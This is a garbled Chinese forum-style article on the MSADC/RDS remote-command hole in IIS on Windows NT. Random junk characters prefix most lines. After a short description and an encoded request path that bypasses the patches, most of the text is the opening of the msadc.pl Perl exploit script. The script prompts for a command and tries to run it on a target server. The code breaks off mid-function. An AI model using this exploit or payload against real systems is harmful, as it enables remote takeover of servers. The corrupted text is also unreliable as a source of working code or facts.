IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
%0:
('' N<N!it 涉及程序:
@zd)]O]xH? Microsoft NT server
dBobVT' ;zSh9H 描述:
O;qS3 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
*QjFrw3 )JuD ! 详细:
(]mN09uE 如果你没有时间读详细内容的话,就删除:
O^U{I?gQ c:\Program Files\Common Files\System\Msadc\msadcs.dll
wk8XD(& 有关的安全问题就没有了。
~(I\O?k>H Bsz kQ>#6 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
9-bDgzk
#<v3G)|aS 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
g<UjB 关于利用ODBC远程漏洞的描述,请参看:
FE$)[ w,m ]d% hU http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm s=U_tfpH ZL1[Khr,s 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
lXv{+ic http://www.microsoft.com/security/bulletins/MS99-025faq.asp / x$O6gi D_@r_^} 这里不再论述。
q'K=Ly+ x8zUGvtQ 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
5<ery~q T:na\y/{j /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
D}\%
Q # 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
5^f>L2 5^0W\
9O@eJ$ #将下面这段保存为txt文件,然后: "perl -x 文件名"
O]^E%;(]}i (hd2&mSy #!perl
9.1%T06$ #
fS!%qr # MSADC/RDS 'usage' (aka exploit) script
q1NAKcA<U #
RUO,tB|(_; # by rain.forest.puppy
6I_W4`<VeZ #
LRB#|PW # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
(kb^=kw#0 # beta test and find errors!
`;QpPSw + ~poy`h' use Socket; use Getopt::Std;
Ov?k4kJ getopts("e:vd:h:XR", \%args);
mQJRq??P #XC\=pZX print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
">CjnF2>R qjUQ2d if (!defined $args{h} && !defined $args{R}) {
u4#BD!W print qq~
Z$HYXm Usage: msadc.pl -h <host> { -d <delay> -X -v }
w(.k6:e -h <host> = host you want to scan (ip or domain)
c5]^jUB6 -d <seconds> = delay between calls, default 1 second
XQlK}AK -X = dump Index Server path table, if available
aSKI%<?xN -v = verbose
0[9A* -e = external dictionary file for step 5
":eHR}Hzx oryoGy=(yk Or a -R will resume a command session
}1d
6d3b
C4Bh#C ~; exit;}
{!'AR`| g4I(uEJk $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
*Pw;;#\B if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
mm:\a-8j if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
Os?~U/ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
2hmV1gj $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
"{L%5:H@ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
In^$+l%O[ N55;oj_K if (!defined $args{R}){ $ret = &has_msadc;
O1rnF3Be die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
Wd&!##3$Q XP6R$0yN print "Please type the NT commandline you want to run (cmd /c assumed):\n"
]}KmT"vA . "cmd /c ";
1 ,[T;pdDd $in=<STDIN>; chomp $in;
[y=k}W}z $command="cmd /c " . $in ;
Yz.[CmdX hD # Yz< if (defined $args{R}) {&load; exit;}
r-&4<=C/N H%Q@DW8~@ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
#N@sJyIN &try_btcustmr;
*9?-JBT&F ~~:i+-[ print "\nStep 2: Trying to make our own DSN...";
y\r8_rBo &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
jIAl7aoY wdl6dLu print "\nStep 3: Trying known DSNs...";
7P=1+2V &known_dsn;
2-]gHAw% ihf5`mk/$ print "\nStep 4: Trying known .mdbs...";
3vNo D &known_mdb;
|2{y'?, Mq6.!j if (defined $args{e}){
F~{yqY5]n print "\nStep 5: Trying dictionary of DSN names...";
}_gCWz-5? &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
xr)kHJ:v hpLo print "Sorry Charley...maybe next time?\n";
d8dREhK& exit;
XSn^$$S GfL}f9 ##############################################################################
q.uIZ q;t
T*B W sub sendraw { # ripped and modded from whisker
\W}?4kz sleep($delay); # it's a DoS on the server! At least on mine...
L;E9"7Jo my ($pstr)=@_;
[
ecYpE< socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
2/qfK+a die("Socket problems\n");
]}~*uT}> if(connect(S,pack "SnA4x8",2,80,$target)){
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